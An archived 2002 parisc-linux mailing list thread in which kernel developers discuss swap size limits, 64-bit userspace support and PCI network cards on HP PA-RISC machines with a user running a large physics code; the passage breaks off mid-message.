Xref: news.gmane.org gmane.linux.ports.parisc:14288

> Forget about swapping over NFS.  It's prone to deadlock under
> stress.  I think we support 2GB/file and up to 8 files, but I may be
> underestimating... John would know.

For a 32 bit kernel:
    128 Gb per file, up to 32 files for a total of 4 Tb.

However, there are two limitations that you have to work around to get that:

    1) mkswap was never modified for parisc, so I believe it sets a limit
    of 2 Gb.  I once hacked a version of it, but I never got around to
    submitting the change, because I had some questions about some
    comments in the code that I believed were out of date, but wasn't sure,
    put it on the backburner, and dropped the ball.

    Anyway, I believe the change was simple, and I tested at least a 16 Gb
    swap partition at one time.

    2) Although we can support 32 swap files, Linux currently has a limit
    of 8. However, I think the only change to allow 32 is to change
    MAX_SWAPFILES in include/linux/swap.h to 32. I don't think there are
    any other intrinsic limitations there.

    3) Note that a swap map is allocated for each swap file.  The swap map
    takes 2 bytes for each page of swap.  This swap map is vmalloc'd, so
    that places another limitation on the total swap size.  The vmalloc
    address space starts after the end of physical memory, so the more
    physical memory you add, the LESS swap space you can have.  But that
    isn't likely to become an issue until you need more than a terabyte of
    swap space.

For a 64 bit kernel the size of a swap partition can be even larger than
128 Gb.  But I really can't say how much larger, because there are a bunch
of variables that get involved and I don't have the time to try to muddle
through them all. Some of those variables:

    1) Disk size limits / Disk addressing limits
    2) swap partition format limits
    3) physical memory limits (limits size of all swap maps)
    4) vmalloc address space limits (limits size of all swap maps)

Note that I didn't mention the SWP_OFFSET limit, which is the main limitation
for the 32 bit kernel. For a 32 bit kernel we dedicate 25 bits to swap
offset, which gives us the 128 Gb limit (2^25 x 4K page size). For a 64
bit kernel we have 57 bits, so that is not the limiting factor. One of
the above will set the limit.

John

P.S. Note that we don't support 64 bit user space processes yet, so you
would probably find it difficult to consume extreme amounts of swap
space, since each process can only address ~4Gb of memory.



From - Thu Nov 08 21:22:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Duraid Madina" <duraid@fl.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Swap space limitions for Linux on parisc
Date: Sat, 9 Mar 2002 13:38:35 +1100
Lines: 18
Approved: news@gmane.org
Message-ID: <000201c1c713$82ecfd40$022a17ac@simplex>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621142 4298 80.91.229.3 (22 Nov 2014 01:52:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:22 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 19:38:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from delenn.fl.net.au (int-mail.syd.fl.net.au [202.181.0.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 136244855
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 19:38:35 -0700 (MST)
Original-Received: from simplex (idesign.fl.net.au [203.30.61.17])
	by delenn.fl.net.au (Postfix) with ESMTP id 6EBEE17FD5A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Mar 2002 13:39:45 +1100 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14289

John wrote:

>P.S. Note that we don't support 64 bit user space processes yet, so you
>would probably find it difficult to consume extreme amounts of swap
>space, since each process can only address ~4Gb of memory.	

(!!!)

*ponders tearing up his code into multiple processes*

The 'yet' above gives me hope; will 64 bit user space processes be
supported anytime soon? Being able to malloc(1<<36) would be nice!

	Duraid





From - Thu Nov 08 21:22:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Swap space limitions for Linux on parisc
Date: Fri, 8 Mar 2002 18:45:16 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20020309024516.GC22385@tausq.org>
References: <000201c1c713$82ecfd40$022a17ac@simplex>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621142 4302 80.91.229.3 (22 Nov 2014 01:52:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Duraid Madina <duraid@fl.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 19:45:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3BD948CE
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 19:45:40 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id rsjxlaaa for parisc-linux@lists.parisc-linux.org; Fri, 8 Mar 2002 19:45:10 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16jWrE-0003LK-00; Fri, 08 Mar 2002 18:45:16 -0800
Content-Disposition: inline
In-Reply-To: <000201c1c713$82ecfd40$022a17ac@simplex>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14290

> The 'yet' above gives me hope; will 64 bit user space processes be
> supported anytime soon? Being able to malloc(1<<36) would be nice!

I sure hope not.... there is a lot of work involved to bring up
toolchains and all the applications to support two different userlands.
We still have a lot of work to do just to stablize 32-bit userspace.
Check the list archives, this has been discussed before, and once fairly
recently.

This is not to say it couldn't be done of course. This is GNU/Linux, you
have all the source, go nuts.. :-)

But now you have me curious, what app are you writing that needs >4G of
address space?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Duraid Madina" <duraid@fl.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Swap space limitions for Linux on parisc
Date: Sat, 9 Mar 2002 14:00:31 +1100
Lines: 34
Approved: news@gmane.org
Message-ID: <000301c1c716$94030b80$022a17ac@simplex>
References: <20020309024516.GC22385@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621143 4305 80.91.229.3 (22 Nov 2014 01:52:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:23 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Randolph Chung'" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 20:00:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from delenn.fl.net.au (int-mail.syd.fl.net.au [202.181.0.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0169448CC
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 20:00:33 -0700 (MST)
Original-Received: from simplex (idesign.fl.net.au [203.30.61.17])
	by delenn.fl.net.au (Postfix) with ESMTP
	id 67F9617FAC9; Sat,  9 Mar 2002 14:01:42 +1100 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
In-Reply-To: <20020309024516.GC22385@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14291

> > The 'yet' above gives me hope; will 64 bit user space processes be 
> > supported anytime soon? Being able to malloc(1<<36) would be nice!
> 
> I sure hope not.... there is a lot of work involved to bring 
> up toolchains and all the applications to support two 
> different userlands. We still have a lot of work to do just 
> to stablize 32-bit userspace. Check the list archives, this 
> has been discussed before, and once fairly recently.

I had a bit of a peek around the archives, wow, I guess hppa64 isn't the
most 'comfortable' place for a g++ developer just now.

> This is not to say it couldn't be done of course. This is 
> GNU/Linux, you have all the source, go nuts.. :-)

Project deadline soon :( must.. find.. cheap.. 64 bit machine
 
> But now you have me curious, what app are you writing that 
> needs >4G of address space?

A computational physics code. Ideally I would run it in 100s of GB of
RAM. About two months of pain went into making it work (reasonably
efficiently, in theory at least) in 100s of GB of swap.

Now you have *me* curious; I don't mean to be an ignorant asshole, but
what's the point of hppa64 if you *don't* support >4G address space?

*crying* does HP-UX support >4G address space? *finds wallet* :(
Hmm, probably have to shell out more $$$ for the HP compilers too :\

	Duraid




From - Thu Nov 08 21:22:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Swap space limitions for Linux on parisc
Date: Sat, 9 Mar 2002 03:05:20 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20020309030520.A26217@parcelfarce.linux.theplanet.co.uk>
References: <20020309024516.GC22385@tausq.org> <000301c1c716$94030b80$022a17ac@simplex>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621143 4565 80.91.229.3 (22 Nov 2014 01:52:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:23 +0000 (UTC)
Cc: 'Randolph Chung' <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Duraid Madina <duraid@fl.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 20:05:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A17AF48D4
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 20:05:22 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16jXAe-000352-00; Sat, 09 Mar 2002 03:05:20 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <000301c1c716$94030b80$022a17ac@simplex>; from duraid@fl.net.au on Sat, Mar 09, 2002 at 02:00:31PM +1100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14292

On Sat, Mar 09, 2002 at 02:00:31PM +1100, Duraid Madina wrote:
> A computational physics code. Ideally I would run it in 100s of GB of
> RAM. About two months of pain went into making it work (reasonably
> efficiently, in theory at least) in 100s of GB of swap.

Hmm.  You would probably be best off making it work by mmaping chunks
of a data file at a time.

> Now you have *me* curious; I don't mean to be an ignorant asshole, but
> what's the point of hppa64 if you *don't* support >4G address space?

Supporting >4GB of physical ram, which can be shared among multiple
processes, each being <4GB in size :-)

> *crying* does HP-UX support >4G address space? *finds wallet* :(
> Hmm, probably have to shell out more $$$ for the HP compilers too :\

gcc works fine on hpux...

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Duraid Madina" <duraid@fl.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Swap space limitions for Linux on parisc
Date: Sat, 9 Mar 2002 14:23:32 +1100
Lines: 20
Approved: news@gmane.org
Message-ID: <000401c1c719$d018f190$022a17ac@simplex>
References: <20020309030520.A26217@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621143 4567 80.91.229.3 (22 Nov 2014 01:52:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:23 +0000 (UTC)
Cc: "'Randolph Chung'" <randolph@tausq.org>,
	<parisc-linux@lists.parisc-linux.org>
To: "'Matthew Wilcox'" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 20:23:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from delenn.fl.net.au (int-mail.syd.fl.net.au [202.181.0.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id C357B48D3
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 20:23:41 -0700 (MST)
Original-Received: from simplex (idesign.fl.net.au [203.30.61.17])
	by delenn.fl.net.au (Postfix) with ESMTP
	id A4ABC17FBE6; Sat,  9 Mar 2002 14:24:51 +1100 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
In-Reply-To: <20020309030520.A26217@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14293

> Hmm.  You would probably be best off making it work by 
> mmaping chunks of a data file at a time.

Doing "all that mmap stuff" is what I hoped I could avoid by throwing
some $$$$ at a 64-bit machine, and using swap "gently". So HP's new,
affordable PA-8700 machines look(ed) terrific. 

> Supporting >4GB of physical ram, which can be shared among 
> multiple processes, each being <4GB in size :-)

I know, I know, just having a whinge ;)
 
> gcc works fine on hpux...

Hmm.

	Duraid




From - Thu Nov 08 21:22:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Swap space limitions for Linux on parisc
Date: Fri, 8 Mar 2002 22:34:15 -0700 (MST)
Lines: 63
Approved: news@gmane.org
Message-ID: <200203090534.WAA17528@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621143 4574 80.91.229.3 (22 Nov 2014 01:52:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 22:37:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A8F948B8
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 22:37:52 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel7.hp.com (Postfix) with ESMTP id 66D4A8056CF
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Mar 2002 00:34:32 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id WAA17528
	for parisc-linux@lists.parisc-linux.org; Fri, 8 Mar 2002 22:34:15 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14294

>
> > > The 'yet' above gives me hope; will 64 bit user space processes be
> > > supported anytime soon? Being able to malloc(1<<36) would be nice!
> >
> > I sure hope not.... there is a lot of work involved to bring
> > up toolchains and all the applications to support two
> > different userlands. We still have a lot of work to do just
> > to stablize 32-bit userspace. Check the list archives, this
> > has been discussed before, and once fairly recently.
>
> I had a bit of a peek around the archives, wow, I guess hppa64 isn't the
> most 'comfortable' place for a g++ developer just now.

Well, basic gcc, binutils already work because we need that to build a
64 bit kernel. g++ is another story (which I don't know anything about).
The biggest missing piece is support for 64 bit shared libraries. I'm
not even sure there is a complete design for how that is going to work.

Then of course, a 64 bit version of glibc has to be built. Since glibc
has already been ported to other 64 bit architectures, and since it has
been ported to 32 bit parisc linux, there may not be that much work here,
but the code size is so huge, it probably is not trivial.

Finally, there is some more kernel work to be done, primarily in VM
support and syscalls.  I plan to do this work some day, but haven't been
highly motivated since there hasn't been much demand yet.

> > This is not to say it couldn't be done of course. This is
> > GNU/Linux, you have all the source, go nuts.. :-)
>
> Project deadline soon :( must.. find.. cheap.. 64 bit machine
>
> > But now you have me curious, what app are you writing that
> > needs >4G of address space?
>
> A computational physics code. Ideally I would run it in 100s of GB of
> RAM. About two months of pain went into making it work (reasonably
> efficiently, in theory at least) in 100s of GB of swap.
>
> Now you have *me* curious; I don't mean to be an ignorant asshole, but
> what's the point of hppa64 if you *don't* support >4G address space?
>
> *crying* does HP-UX support >4G address space? *finds wallet* :(
> Hmm, probably have to shell out more $$$ for the HP compilers too :\
>
>         Duraid

Yes, HP-UX does support >4Gb address space. And yes, you will probably
have to pay extra for the compilers. Another problem is that HP-UX
might not install without supported CD-ROM, disks, etc. From the
ordering page it wasn't clear if you could order HP-UX media without
getting a CD-ROM (which we charge $520 for. Such a bargain!).

So, another option might be a statically linked 64 bit gcc "compute
engine" app that used only a minimum of direct syscalls (no glibc) to
communicate with a 32 bit front end app.  If the compute part of your code
is heavily g++ dependent, this might not be feasible.  This would still
require the kernel work mentioned above to be done.

John Marvin
jsm@fc.hp.com



From - Thu Nov 08 21:22:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: Sat, 09 Mar 2002 01:28:10 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20020309082810.CD8FF4835@dsl2.external.hp.com>
References: <000301c1c654$78ae35c0$022a17ac@simplex>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621144 4581 80.91.229.3 (22 Nov 2014 01:52:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Duraid Madina" <duraid@fl.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  9 01:28:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id CD8FF4835; Sat,  9 Mar 2002 01:28:10 -0700 (MST)
In-Reply-To: Message from "Duraid Madina" <duraid@fl.net.au> 
   of "Fri, 08 Mar 2002 14:51:03 +1100." <000301c1c654$78ae35c0$022a17ac@simplex> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14295

"Duraid Madina" wrote:
> ...and Intel gigabit ethernet NICs (based on the 82554 chip).

I've tested the e1000 (4.0.24-k1, iirc) driver on HP's "2cd generation
Intel (r) Itanium (tm)" systems and it basically works. Based on
this, I would expect this e1000 driver to work on A500-like systems.
(ie rp24xx boxes). Someday, if i get the itch, I'll plug one into
my a500 and try it.

and later:
> A computational physics code. Ideally I would run it in 100s of GB of
> RAM. About two months of pain went into making it work (reasonably
> efficiently, in theory at least) in 100s of GB of swap.

The approach seems really odd - you are looking at 64-bit userspace so
you can *swap* large amounts of virtual memory in/out. If you expected
to be IO bound, tuning the app to know more about IO (instead of
swapping) makes more sense.

Have you tried begging, trading, or buying some cycles on a Superdome
with some 100GBs of RAM instead of waiting for weeks to see your jobs
run to completion?

my $0.02,
grant




From - Thu Nov 08 21:22:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Duraid Madina" <duraid@fl.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: Sat, 9 Mar 2002 20:54:55 +1100
Lines: 56
Approved: news@gmane.org
Message-ID: <000001c1c750$8d5f7900$022a17ac@simplex>
References: <20020309082810.CD8FF4835@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621144 4582 80.91.229.3 (22 Nov 2014 01:52:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:24 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Grant Grundler'" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  9 02:55:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from delenn.fl.net.au (int-mail.syd.fl.net.au [202.181.0.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87D4048DB
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Mar 2002 02:55:38 -0700 (MST)
Original-Received: from simplex (idesign.fl.net.au [203.30.61.17])
	by delenn.fl.net.au (Postfix) with ESMTP
	id DF32F17FD25; Sat,  9 Mar 2002 20:56:24 +1100 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2616
In-Reply-To: <20020309082810.CD8FF4835@dsl2.external.hp.com>
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14296

Grant wrote:
> and later:
> > About two months of pain went into making it work (reasonably 
> > efficiently, in theory at least) in 100s of GB of swap.
> 
> The approach seems really odd - you are looking at 64-bit 
> userspace so you can *swap* large amounts of virtual memory 
> in/out. If you expected to be IO bound, tuning the app to 
> know more about IO (instead of swapping) makes more sense.

Normally, yes. In my case, not really. To cut a long story short,
because C++ has poor intrinsic support for reflection, even making my
app *do* IO is non-trivial. E.g. my program instantiates millions of
